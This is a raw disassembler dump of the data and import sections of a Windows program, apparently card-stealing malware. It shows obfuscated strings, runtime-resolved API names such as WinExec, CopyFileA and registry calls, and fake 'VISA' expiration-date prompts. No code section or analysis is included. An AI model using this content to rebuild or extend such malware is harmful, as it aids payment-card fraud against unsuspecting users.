dd 90809A89h, 0DD809E92h, 0D09E9C90h, 0C2848484h, 91809BDDh
dd 9290DD90h, 919498D0h, 929F9681h, 869F908Bh, 8681DD91h
dd 9E928AD0h, 91DD9C91h, 98D0899Ah, 809C979Ah, 9D9291DEh
dd 8681DD98h, 848484D0h, 90919FDDh, 96819A97h, 9FDD8790h
dd 96818692h, 929A879Dh, 9D92919Dh, 9290DD98h, 819291D0h
dd 8A929F90h, 9C90DD80h, 9C87D09Eh, 9F9F9287h, 9681958Ah
dd 9D929196h, 949D9A98h, 9E9C90DDh, 848484D0h, 90919DDDh
dd 0D09290DDh, 9291C0C6h, 90DD989Dh, 84D09E9Ch, 85DD8484h
dd 9C979D96h, 929D8081h, 84DD969Eh, 8484D080h, 0C191DD84h
dd 8187DE91h, 0DD878086h, 0D09E9C90h, 0DD848484h, 979D9685h
dd 9D80819Ch, 0DD969E92h, 9CD08084h, 919D9683h, 0DD989D92h
dd 0D09E9C90h, 0DE879287h, 8795969Dh, 989D9291h, 0D08681DDh
dd 9F909680h, 81DD9192h, 9680D086h, 9A818690h, 929F8A87h
dd 8681DD91h, 879695D0h, 9781929Bh, 899A91DDh, 9C8194D0h
dd 9F838B9Dh, 87969D92h, 8681DD80h, 9D9685D0h, 80819C97h
dd 969E929Dh, 0D08084DDh
db 0
aClickOnceToCon db 'Click Once To Continue',0 ; DATA XREF: sub_44108E+D8Eo
aButton db 'BUTTON',0 ; DATA XREF: sub_44108E+D93o
byte_44BDCB db 1Eh ; DATA XREF: sub_44108E+C73o
dd 28357000h, 31223920h, 3E3F3924h, 24313450h, 7A7A7A35h
dd 503D2431h, 503E3920h, 35343F33h
db 0
byte_44BDED db 6, 0, 69h ; DATA XREF: sub_44108E+C63o
db ':=(= *',0
aEdit db 'EDIT',0 ; DATA XREF: sub_44108E+C14o
dword_44BDFC dd 1C2E0006h, 1C000B1Eh ; DATA XREF: sub_44108E+B3Bo
db 5Bh, 0
word_44BE06 dw 4 ; DATA XREF: sub_44108E:loc_441B74o
dd 9151E3Bh
db 4Eh, 0
byte_44BE0E db 0 ; DATA XREF: sub_44108E+A12o
; sub_44108E+AA4o ...
aCombobox db 'COMBOBOX',0 ; DATA XREF: sub_44108E+A17o
; sub_44108E+AA9o
dword_44BE18 dd 70230006h, 6A776277h ; DATA XREF: sub_44108E+8A3o
db 60h, 0
word_44BE22 dw 6Eh ; DATA XREF: sub_44108E:loc_44190Bo
db 40h ; @
db 15h, 2Eh, 21h
a4542Nje30233_0 db '",%`4/`!54(/2):%nJe3`02/#%33).',27h,'`#%.4%2`)3`5.!",%`4/`!54(/2):%`'
db '9/52`#!2$`e3nJ',0Dh,'!+%`#/22%#4)/.3`!.$`429`!',27h,'!).n',0
asc_44BE94 db 0Ah,0 ; DATA XREF: sub_44108E:loc_4418F3o
dw 1954h
dd 31202735h, 26351726h
db 30h, 0
aVisa db 'VISA',0 ; DATA XREF: sub_44108E+852o
asc_44BEA7 db ' ',0 ; DATA XREF: sub_44108E+7FFo
aStatic db 'STATIC',0 ; DATA XREF: sub_44108E+804o
dword_44BEB0 dd 0A70000h ; DATA XREF: sub_44108E+65Bo
dword_44BEB4 dd 0B8EB0006h, 0A2BFAABFh ; DATA XREF: sub_44108E+64Bo
db 0A8h, 0
word_44BEBE dw 15h ; DATA XREF: sub_44108E+5C5o
aUuuusmajrrkn_0 db '㓑ㅂ',0
byte_44BED7 db 6 ; DATA XREF: sub_44108E+5B5o
dd 1A1D4E00h, 0D071A0Fh
db 0
aKkqVx db 'kkq-vx',0 ; DATA XREF: sub_44108E+500o
aExplorer db 'Explorer',0 ; DATA XREF: sub_44108E+44Co
asc_44BEF1 db 9,0 ; DATA XREF: sub_44108E:loc_4414BEo
db 45h
dd 0A262A01h, 26202F27h
db 31h, 0
word_44BEFE dw 0Eh ; DATA XREF: sub_44108E+404o
dd 67645105h, 616B6C52h, 6946726Ah, 767664h
dword_44BF10 dd 479E0000h, 6F4C7465h, 656C6163h, 6F666E49h ; DATA XREF: sub_440457+499o
db 41h, 0
word_44BF22 dw 0 ; DATA XREF: sub_440457+47Do
aOgetversionexa db 'GetVersionExA',0
byte_44BF33 db 0 ; DATA XREF: sub_440457+461o
dd 69463D00h, 6954656Ch, 6F54656Dh, 74737953h, 69546D65h
db 6Dh, 65h, 0
byte_44BF4B db 0 ; DATA XREF: sub_440457+445o
dd 6F43D700h, 7261706Dh, 6C694665h, 6D695465h
db 65h, 0
word_44BF5E dw 0 ; DATA XREF: sub_440457+429o
aRgetvolumeinfo db 'GetVolumeInformationA',0
byte_44BF77 db 0 ; DATA XREF: sub_440457+40Do
dd 6E490C00h, 6C726574h, 656B636Fh, 63654464h, 656D6572h
db 6Eh, 74h, 0
byte_44BF8F db 0 ; DATA XREF: sub_440457+3F1o
dd 6E498900h, 6C726574h, 656B636Fh, 636E4964h, 656D6572h
db 6Eh, 74h, 0
byte_44BFA7 db 0 ; DATA XREF: sub_440457+3D5o
dd 6547A300h, 73795374h, 446D6574h, 63657269h, 79726F74h
db 41h, 0
word_44BFBE dw 0 ; DATA XREF: sub_440457+3B9o
aLgetmodulefile db 'lGetModuleFileNameA',0
dword_44BFD4 dd 4FDB0000h, 4D6E6570h, 78657475h ; DATA XREF: sub_440457+39Do
db 41h, 0
word_44BFE2 dw 0 ; DATA XREF: sub_440457+381o
aRcreatemutexa db 'CreateMutexA',0
word_44BFF2 dw 0 ; DATA XREF: sub_440457+365o
a0copyfilea db '0CopyFileA',0
byte_44BFFF db 0 ; DATA XREF: sub_440457+349o
db 0
aGetdiskfreespa db 7,'GetDiskFreeSpaceA',0
dword_44C014 dd 535C0000h, 72457465h, 4D726F72h, 65646Fh ; DATA XREF: sub_440457+32Do
dword_44C024 dd 476B0000h, 78457465h, 6F437469h, 68546564h, 64616572h
; DATA XREF: sub_440457+311o
db 0
byte_44C039 db 2 dup(0), 16h ; DATA XREF: sub_440457+2F5o
aGetdrivetypea db 'GetDriveTypeA',0
word_44C04A dw 0 ; DATA XREF: sub_440457+2D9o
aUfindclose db 'UFindClose',0
byte_44C057 db 0 ; DATA XREF: sub_440457+2BDo
dd 6946A700h, 654E646Eh, 69467478h, 41656Ch
dword_44C068 dd 46640000h, 46646E69h, 74737269h, 656C6946h ; DATA XREF: sub_440457+2A1o
db 41h, 0
word_44C07A dw 0 ; DATA XREF: sub_440457+285o
aPgettickcount db 'GetTickCount',0
word_44C08A dw 0 ; DATA XREF: sub_440457+269o
aFrtlzeromemory db 'RtlZeroMemory',0
byte_44C09B db 0 ; DATA XREF: sub_440457+24Do
dd 6547DC00h, 73795374h, 546D6574h, 656D69h
dword_44C0AC dd 4C640000h, 6C61636Fh, 65657246h ; DATA XREF: sub_440457+231o
db 0
byte_44C0B9 db 2 dup(0), 79h ; DATA XREF: sub_440457+215o
aLocalalloc db 'LocalAlloc',0
byte_44C0C7 db 0 ; DATA XREF: sub_440457+1F9o
dd 69561F00h, 61757472h, 6572466Ch
db 65h, 0
word_44C0D6 dw 0 ; DATA XREF: sub_440457+1DDo
aUvirtualalloc db 'VirtualAlloc',0
word_44C0E6 dw 0 ; DATA XREF: sub_440457+1C1o
aReadfile db 0Ah
db 'ReadFile',0
word_44C0F2 dw 0 ; DATA XREF: sub_440457+1A5o
aCgettemppatha db 'GetTempPathA',0
word_44C102 dw 0 ; DATA XREF: sub_440457+189o
aGlobalmemoryst db 'GLobalMemoryStatus',0
dword_44C118 dd 4D0D0000h, 69746C75h, 65747942h, 69576F54h, 68436564h
; DATA XREF: sub_440457+16Do
db 61h, 72h, 0
byte_44C12F db 0 ; DATA XREF: sub_440457+151o
dd 69571500h, 68436564h, 6F547261h, 746C754Dh, 74794269h
db 65h, 0
word_44C146 dw 0 ; DATA XREF: sub_440457+135o
aRwinexec db 'RWinExec',0
byte_44C151 db 2 dup(0), 98h ; DATA XREF: sub_440457+119o
aLstrlenw db 'lstrlenW',0
byte_44C15D db 2 dup(0), 12h ; DATA XREF: sub_440457+FDo
aGetfilesize db 'GetFileSize',0
dword_44C16C dd 435E0000h, 65736F6Ch, 646E6148h ; DATA XREF: sub_440457+E1o
db 6Ch, 65h, 0
byte_44C17B db 0 ; DATA XREF: sub_440457+C5o
dd 7257D800h, 46657469h, 656C69h
dword_44C188 dd 53B50000h, 69467465h, 6F50656Ch, 65746E69h ; DATA XREF: sub_440457+A9o
db 72h, 0
word_44C19A dw 0 ; DATA XREF: sub_440457+8Do
aXdeletefilea db 'DeleteFileA',0
byte_44C1A9 db 2 dup(0), 9Bh ; DATA XREF: sub_440457+71o
aCreatefilea db 'CreateFileA',0
dword_44C1B8 dd 4C050000h, 4C64616Fh, 61726269h, 417972h ; DATA XREF: sub_440457+55o
dword_44C1C8 dd 47CE0000h, 6F4D7465h, 656C7564h, 646E6148h, 41656Ch
; DATA XREF: sub_440457+39o
dword_44C1DC dd 42AD0000h, 706565h ; DATA XREF: sub_440457+1Do
dword_44C1E4 dd 45830000h, 54746978h, 61657268h ; DATA XREF: sub_440457+1o
db 64h, 0
word_44C1F2 dw 0 ; DATA XREF: sub_44015B+6Bo
aAregclosekey db 'RegCloseKey',0
byte_44C201 db 2 dup(0), 35h ; DATA XREF: sub_44015B+4Fo
aRegqueryvaluee db 'RegQueryValueExA',0
byte_44C215 db 2 dup(0), 8Fh ; DATA XREF: sub_44015B:loc_44018Eo
aRegopenkeyexa db 'RegOpenKeyExA',0
word_44C226 dw 0Ch ; DATA XREF: sub_44015B+1Co
dd 0E2F0F594h, 0A7FDE4F5h, 0F8F0BAA6h
db 0F8h, 0
word_44C236 dw 0 ; DATA XREF: sub_44015B+1o
aAdvapi32_dll_0 db ';advapi32.dll',0
word_44C246 dw 1 ; DATA XREF: sub_43F0EA+D21o
db 0F3h, 8Fh, 0
byte_44C24B db 20h ; DATA XREF: sub_43F0EA+CFBo
db 7Ch, 0
word_44C24E dw 1 ; DATA XREF: sub_43F0EA+C67o
db 5Ah, 60h, 0
byte_44C253 db 4 ; DATA XREF: sub_43F0EA:loc_43FD0Bo
dd 7C795900h
db 2Ch, 63h, 0
byte_44C25B db 1 ; DATA XREF: sub_43F0EA+6DEo
dd 790500h
dword_44C260 dd 0FADA000Ah, 88959CE6h, 0AFFFE097h ; DATA XREF: sub_43F0EA+499o
db 0E4h, 0
word_44C26E dw 0Bh ; DATA XREF: sub_43F0EA:loc_43F493o
dd 91EBF7D7h, 929A9685h, 0E9A2F2EDh
db 0
byte_44C27D db 0Ah, 0, 0A4h ; DATA XREF: sub_43F0EA+298o
dd 0F6E29884h, 9EE1E9E5h, 9AE9h
dword_44C28C dd 4, 4C0022h, 4F0043h, 47h ; DATA XREF: sub_43F0EA+218o
dword_44C29C dd 5, 0CC00BAh, 0D600DBh, 0DF00CFh ; DATA XREF: sub_43F0EA+201o
db 2 dup(0)
word_44C2AE dw 2 ; DATA XREF: sub_43EEA0+113o
dd 0CCCCECh
dword_44C2B4 dd 17380001h ; DATA XREF: sub_43EEA0+DDo
db 0
byte_44C2B9 db 12h, 0, 31h ; DATA XREF: sub_43EEA0:loc_43EED2o
dd 4552425Ch, 426E425Dh, 44455045h, 43505342h
db 2, 3, 0
byte_44C2CF db 0Eh ; DATA XREF: sub_43EEA0+10o
dd 6F5A0E00h, 6067596Ch, 4D79616Ah, 7D7D6F62h
db 0
byte_44C2E1 db 2 dup(0), 75h ; DATA XREF: sub_43EA51+2EFo
aEnumdesktopwin db 'EnumDesktopWindows',0
byte_44C2F7 db 0 ; DATA XREF: sub_43EA51+2D3o
dd 69469500h, 6957646Eh, 776F646Eh, 417845h
dword_44C308 dd 54910000h, 736E6172h, 6574616Ch, 7373654Dh, 656761h
; DATA XREF: sub_43EA51+2B7o
dword_44C31C dd 534A0000h, 57776F68h, 6F646E69h ; DATA XREF: sub_43EA51+29Bo
db 77h, 0
word_44C32A dw 0 ; DATA XREF: sub_43EA51+27Fo
aSetwindowtexta db 'SetWindowTextA',0
dword_44C33C dd 53670000h, 69577465h, 776F646Eh, 676E6F4Ch ; DATA XREF: sub_43EA51+263o
db 41h, 0
word_44C34E dw 0 ; DATA XREF: sub_43EA51+247o
dd 746553F4h, 656D6954h
db 72h, 0
word_44C35A dw 0 ; DATA XREF: sub_43EA51+22Bo
dd 746553FBh, 75636F46h
db 73h, 0
word_44C366 dw 0 ; DATA XREF: sub_43EA51+20Fo
aZsendmessagea db 'SendMessageA',0
word_44C376 dw 0 ; DATA XREF: sub_43EA51+1F3o
aRegisterclassa db 'RegisterClassA',0
dword_44C388 dd 4D690000h, 5765766Fh, 6F646E69h ; DATA XREF: sub_43EA51+1D7o
db 77h, 0
word_44C396 dw 0 ; DATA XREF: sub_43EA51+1BBo
aMessageboxa_0 db 'MessageBoxA',0
byte_44C3A5 db 2 dup(0), 0ACh ; DATA XREF: sub_43EA51+19Fo
aLoadicona db 'LoadIconA',0
word_44C3B2 dw 0 ; DATA XREF: sub_43EA51+183o
dd 616F4CF6h, 72754364h, 41726F73h
db 0
byte_44C3C1 db 2 dup(0), 0C3h ; DATA XREF: sub_43EA51+167o
aGetwindowtexta db 'GetWindowTextA',0
byte_44C3D3 db 0 ; DATA XREF: sub_43EA51+14Bo
dd 65473900h, 6E695774h, 52776F64h, 746365h
dword_44C3E4 dd 479D0000h, 69577465h, 776F646Eh, 676E6F4Ch ; DATA XREF: sub_43EA51+12Fo
db 41h, 0
word_44C3F6 dw 0 ; DATA XREF: sub_43EA51+113o
aGetwindow db 'GetWindow',0
byte_44C403 db 0 ; DATA XREF: sub_43EA51+F7o
dd 65470B00h, 73654D74h, 65676173h
db 41h, 0
word_44C412 dw 0 ; DATA XREF: sub_43EA51+DBo
aFgetforeground db 'FGetForegroundWindow',0
byte_44C429 db 2 dup(0), 9Fh ; DATA XREF: sub_43EA51+BFo
aGetclassnamea db 'GetClassNameA',0
word_44C43A dw 0 ; DATA XREF: sub_43EA51+A3o
dd 73694418h, 63746170h, 73654D68h, 65676173h
db 41h, 0
word_44C44E dw 0 ; DATA XREF: sub_43EA51+87o
aDestroywindow db 'DestroyWindow',0
byte_44C45F db 0 ; DATA XREF: sub_43EA51+6Bo
dd 65440F00h, 6E695766h, 50776F64h, 41636F72h
db 0
byte_44C471 db 2 dup(0), 0DDh ; DATA XREF: sub_43EA51+4Fo
aCreatewindowex db 'CreateWindowExA',0
dword_44C484 dd 43E20000h, 576C6C61h, 6F646E69h, 6F725077h
; DATA XREF: sub_43EA51:loc_43EA84o
db 63h, 41h, 0
byte_44C497 db 0Ah ; DATA XREF: sub_43EA51+1Co
dd 8187F200h, 0C0C18097h, 9E9E96DCh
db 0
byte_44C4A5 db 2 dup(0), 5Ah ; DATA XREF: sub_43EA51+1o
aUser32_dll_0 db 'user32.dll',0
byte_44C4B3 db 4 ; DATA XREF: sub_43E8A2+3Fo
dd 0B4D6800h
db 52h, 34h, 0
byte_44C4BB db 0 ; DATA XREF: sub_43E5D5:loc_43E841o
db 0, 9Dh, 0
byte_44C4BF db 1 ; DATA XREF: sub_43E5D5:loc_43E7D7o
dd 0D0A800h
dword_44C4C4 dd 0E1C40017h, 0E1A7E1A7h, 0E9A7E1A7h, 2 dup(0A7E1A7E1h)
; DATA XREF: sub_43E1CC:loc_43E3C1o
dd 0A7EAA7E1h
db 0ABh, 0A9h, 0
byte_44C4DF db 16h ; DATA XREF: sub_43E1CC+1AFo
dd 25634600h, 2 dup(25632563h), 6325636Bh, 63256325h, 33346825h
db 0
byte_44C4F9 db 2 dup(0), 19h ; DATA XREF: sub_43DEF2:loc_43E18Eo
db 5Ch, 0
word_44C4FE dw 4 ; DATA XREF: sub_43DE0F+55o
aGez db ')',7,'GEZ',0
word_44C506 dw 1 ; DATA XREF: sub_43DE0F+29o
db 21h, 7Dh, 0
aSS db '%s\%s',0 ; DATA XREF: sub_43DAAC+24Fo
; sub_43DAAC+2B7o
byte_44C511 db 4, 0, 3 ; DATA XREF: sub_43DAAC+17o
aP_ db '&p_)',0
align 4
asc_44C51C: ; DATA XREF: sub_43D8A3+19Fo
dw 9
unicode 0, <>,0
dd 610003h, 650066h, 71006Ch, 460066h, 67006Dh
db 2 dup(0)
word_44C536 dw 5Ah ; DATA XREF: sub_43D8A3+111o
aADakDiseEidkes db 'ф͚ͅ͏͞ЅȞ҅Ȟ˄ȘȞ˂Șˋ'
db 'Ȏ˞Ȟ˞Ș˙ȘˉȞ',0
asc_44C594 db ',',0 ; DATA XREF: sub_43D8A3+BFo
dw 33Fh
dd 1F585256h, 4B5B5648h, 1F0F0257h, 58565A57h, 0F024B57h
dd 4D505D1Fh, 24D5A5Bh, 4D4C1F0Fh, 4C1A025Ch, 2590010h
dd 15C1Ah
dword_44C5C4 dd 39050007h, 2A393B67h ; DATA XREF: sub_43D8A3+57o
db 67h, 3Bh, 0
byte_44C5CF db 0 ; DATA XREF: sub_43C38A+759o
dd 642EC300h, 617461h
dword_44C5D8 dd 270000h ; DATA XREF: sub_43C154:loc_43C1BEo
dword_44C5DC dd 24010004h, 593931h ; DATA XREF: sub_43BFE5+71o
dword_44C5E4 dd 89AC0004h, 0F49E82h ; DATA XREF: sub_43BF3D+72o
dword_44C5EC dd 55700001h ; DATA XREF: sub_43BF3D:loc_43BF9Do
db 0
byte_44C5F1 db 25h, 63h, 0 ; DATA XREF: sub_43BF3D+4Co
dword_44C5F4 dd 5C4D0000h ; DATA XREF: sub_43BE25+2Do
db 0
byte_44C5F9 db 3, 0, 89h ; DATA XREF: sub_43B780+2F6o
dd 0B4E6B2h
dword_44C600 dd 172C0004h, 11435Fh ; DATA XREF: sub_43B780:loc_43B9E3o
dword_44C608 dd 0E2D90004h, 0F3E4BDh ; DATA XREF: sub_43B780+216o
dword_44C610 dd 3, 5A0013h, 54005Eh ; DATA XREF: sub_43B780+16o
db 2 dup(0)
word_44C61E dw 0Fh ; DATA XREF: sub_43B52C+44o
dd 7B540227h, 24B4143h, 15145D52h, 4B4B4309h
db 0
byte_44C631 db 0Fh, 0, 5Bh ; DATA XREF: sub_43B52C+1Co
a0_7Hiu?77 db '~(',7,'0=~.7!hiu?77',0
dword_44C644 dd 2A0F0004h, 53356Ch ; DATA XREF: sub_43B4C6+1Co
dword_44C64C dd 446A0004h, 190604h ; DATA XREF: sub_43B182+56o
dword_44C654 dd 0F8A40001h ; DATA XREF: sub_43B182+2Ao
db 0
byte_44C659 db 9, 0, 79h ; DATA XREF: sub_43AFB5+160o
dd 1D160B29h, 300D1A0Ch
db 1Dh, 0
word_44C666 dw 29h ; DATA XREF: sub_43AFB5+150o
dd 0C0C9D586h, 0D4C7D1D2h, 0EFCBDAC3h, 0F5E9F4E5h, 0DAF2E0E9h
dd 0E2E8EFD1h, 0DAF5F1E9h, 0F4F4F3C5h, 0D0F2E8E3h, 0EFF5F4E3h
db 0E9h, 0E8h, 0
byte_44C693 db 1 ; DATA XREF: sub_43AFB5+134o
dd 0BD9300h
dword_44C698 dd 8AA70004h, 89FF82h ; DATA XREF: sub_43AFB5+DAo
dword_44C6A0 dd 0A0C30003h ; DATA XREF: sub_43AFB5+9Co
db 0F9h, 9Fh, 0
byte_44C6A7 db 8 ; DATA XREF: sub_43AFB5:loc_43B019o
dd 93C3E600h, 0C893C3C8h
db 0C3h, 93h, 0
byte_44C6B3 db 2 ; DATA XREF: sub_43AFB5+4Fo
dd 5D470900h
db 0
byte_44C6B9 db 2, 0, 2Ch ; DATA XREF: sub_43AFB5+31o
db 15h, 74h, 0
byte_44C6BF db 0 ; DATA XREF: sub_43AED7+A3o
dd 69443900h, 65477073h, 72615074h
db 61h, 6Dh, 0
byte_44C6CF db 0 ; DATA XREF: sub_43AED7+87o
dd 61564C00h, 6E616972h, 696E4974h
db 74h, 0
word_44C6DE dw 0 ; DATA XREF: sub_43AED7+6Bo
aOvariantclear db 'VariantClear',0
word_44C6EE dw 0 ; DATA XREF: sub_43AED7+4Fo
aSsysfreestring db 'SysFreeString',0
byte_44C6FF db 0 ; DATA XREF: sub_43AED7:loc_43AF0Ao
dd 79530B00h, 6C6C4173h, 7453636Fh, 676E6972h
db 0
byte_44C711 db 2 dup(0), 5Eh ; DATA XREF: sub_43AED7+1Co
aOleaut32_dll db 'oleaut32.dll',0
byte_44C721 db 2 dup(0), 5Bh ; DATA XREF: sub_43AED7+1o
aOleaut32_dll_0 db 'oleaut32.dll',0
byte_44C731 db 4, 0, 28h ; DATA XREF: sub_43ADAC+55o
dd 5B444606h
db 0
byte_44C739 db 1, 0, 6 ; DATA XREF: sub_43ADAC+29o
db 5Ah, 0
word_44C73E dw 0 ; DATA XREF: sub_43AD5A:loc_43AD8Do
aMshgetfolderpa db 'mSHGetFolderPathA',0
word_44C752 dw 0 ; DATA XREF: sub_43AD5A+1Co
aEshell32_dll db 'eshell32.dll',0
byte_44C761 db 2 dup(0), 0A6h ; DATA XREF: sub_43AD5A+1o
aShell32_dll db 'shell32.dll',0
asc_44C770 db '*',0 ; DATA XREF: sub_43AA99+1DBo
word_44C772 dw 4 ; DATA XREF: sub_43AA99+9Bo
aQiqqq db '',0
word_44C77A dw 0 ; DATA XREF: sub_43AA12+4Fo
aGetstockobject db 'GetStockObject',0
dword_44C78C dd 43470000h, 74616572h, 6E6F4665h ; DATA XREF: sub_43AA12:loc_43AA45o
db 74h, 41h, 0
byte_44C79B db 9 ; DATA XREF: sub_43AA12+1Co
dd 9093F400h, 0DAC6C79Dh, 989890h
dword_44C7A8 dd 67140000h, 32336964h, 6C6C642Eh ; DATA XREF: sub_43AA12+1o
db 0
byte_44C7B5 db 1, 0, 0D8h ; DATA XREF: sub_43A34D:loc_43A842o
db 0F8h, 0
word_44C7BA dw 0 ; DATA XREF: sub_43A34D+4ACo
db 4, 0
word_44C7BE dw 13h ; DATA XREF: sub_43A34D+482o
aDlijpUeLquvesg db '꿄ʞʋ',0
a5 db '5',0 ; DATA XREF: sub_43A34D+472o
db 9Ah
dd 0F8FBF4CFh, 0EEBAFFF6h, 0EFFBBAF5h, 0E8F5F2EEh, 0BAFFE0F3h
dd 0D4D3BAB7h, 0C8C8D5D9h, 0BACED9DFh, 0B4D4D3CAh, 0FFF6CABAh
dd 0B6FFE9FBh, 0E8F5F9BAh, 0EEF9FFE8h
db 0B4h, 0
word_44C80E dw 1 ; DATA XREF: sub_43A34D:loc_43A5FFo
db 4Ch, 61h, 0
aPleaseSelect_0 db 'Please, select Expiration Year',0 ; DATA XREF: sub_43A34D+286o
word_44C832 dw 1 ; DATA XREF: sub_43A34D:loc_43A54Do
db 5Ah, 7Ah, 0
aPleaseSelectEx db 'Please, select Expiration Month',0 ; DATA XREF: sub_43A34D+1D4o
aAbcdefghijklmn db 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
; DATA XREF: .data:off_44B1FCo
db '://',0
dword_44C89C dd 9BA05972h, 11CFF6A8h, 0A00042A4h, 398F0AC9h ; DATA XREF: sub_43FEB1+53o
dword_44C8AC dd 0FE4106E0h, 11D0399Ah, 0A0008CA4h, 398F0AC9h ; DATA XREF: sub_43FEB1+1D5o
; sub_43FEB1+1F4o ...
dword_44C8BC dd 34A715A0h, 11D06587h, 20004A92h, 4DACC7AFh
; DATA XREF: sub_43C0C2:loc_43C10Eo
; sub_43FEB1+14Ao ...
dword_44C8CC dd 3050F25Bh, 11CF98B5h, 0AA0082BBh, 0BCEBD00h
; DATA XREF: sub_4400E0:loc_44012Co
dword_44C8DC dd 0B196B284h, 101ABAB4h, 0AA009CB6h, 71D3400h ; DATA XREF: sub_4434B2+12o
dword_44C8EC dd 20400h, 0 ; DATA XREF: sub_43C0C2:loc_43C0EEo
; sub_4400E0:loc_44010Co ...
dd 0C0h, 46000000h
dword_44C8FC dd 332C4425h, 11D026CBh, 0C00083B4h, 1901D94Fh ; DATA XREF: sub_43F0EA+174o
; sub_443E95+14Co
dword_44C90C dd 3050F1FFh, 11CF98B5h, 0AA0082BBh, 0BCEBD00h ; DATA XREF: sub_43B780+123o
; sub_43F0EA+4DCo ...
dword_44C91C dd 3050F21Fh, 11CF98B5h, 0AA0082BBh, 0BCEBD00h ; DATA XREF: sub_43B780+60o
; sub_443589+79o
dword_44C92C dd 3050F1F7h, 11CF98B5h, 0AA0082BBh, 0BCEBD00h ; DATA XREF: sub_43F0EA+9CEo
dword_44C93C dd 3050F240h, 11CF98B5h, 0AA0082BBh, 0BCEBD00h ; DATA XREF: sub_43B780+1ECo
dword_44C94C dd 332C4427h, 11D026CBh, 0C00083B4h, 1901D94Fh ; DATA XREF: sub_43F0EA+2EEo
dword_44C95C dd 85CB6900h, 11CF4D95h, 80000C96h, 85EEF4C7h ; DATA XREF: sub_43FEB1+4Ao
dword_44C96C dd 2 dup(0) ; DATA XREF: sub_43C0C2+Co
; sub_4400E0+Co ...
dd 0C0h, 46000000h
dword_44C97C dd 0D30C1661h, 11D0CDAFh, 0C0003E8Ah, 6EE2C94Fh ; DATA XREF: sub_43F0EA+73o
; sub_43FEB1+10Eo ...
dword_44C98C dd 10h dup(0) ; DATA XREF: sub_444154o
; sub_444154:loc_44416Eo ...
dword_44C9CC dd 0 ; DATA XREF: sub_4440F8+16o
; sub_4440F8:loc_44413Ao ...
dd 0Fh dup(0)
dword_44CA0C dd 0 ; DATA XREF: sub_44425D+Cw
; sub_44425D+825r
dword_44CA10 dd 0 ; DATA XREF: sub_44425D+14w
; sub_44425D+82Cr
dword_44CA14 dd 0 ; DATA XREF: sub_44425D+1Cw
; sub_44425D+834r
dword_44CA18 dd 0 ; DATA XREF: sub_44425D+24w
; sub_44425D+83Cr
align 200h
_data ends
; Section 7. (virtual address 0004D000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00000200 ( 512.)
; Offset to raw data for section: 0004CC00
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata2 segment para public 'DATA' use32
assume cs:_idata2
;org 44D000h
dd 2Bh dup(0)
dword_44D0AC dd 0 ; DATA XREF: .text:00444B8Cr
dword_44D0B0 dd 0 ; DATA XREF: sub_444B98r
dword_44D0B4 dd 0 ; DATA XREF: sub_444BA4r
align 10h
dword_44D0C0 dd 0 ; DATA XREF: sub_444BB0r
dword_44D0C4 dd 0 ; DATA XREF: sub_444BBCr
dword_44D0C8 dd 0 ; DATA XREF: .text:00444BC8r
dword_44D0CC dd 0 ; DATA XREF: .text:00444BD4r
dword_44D0D0 dd 0 ; DATA XREF: sub_444BE0r
dword_44D0D4 dd 0 ; DATA XREF: sub_444BECr
dword_44D0D8 dd 0 ; DATA XREF: sub_444BF8r
dword_44D0DC dd 0 ; DATA XREF: sub_444C04r
align 1000h
_idata2 ends
end start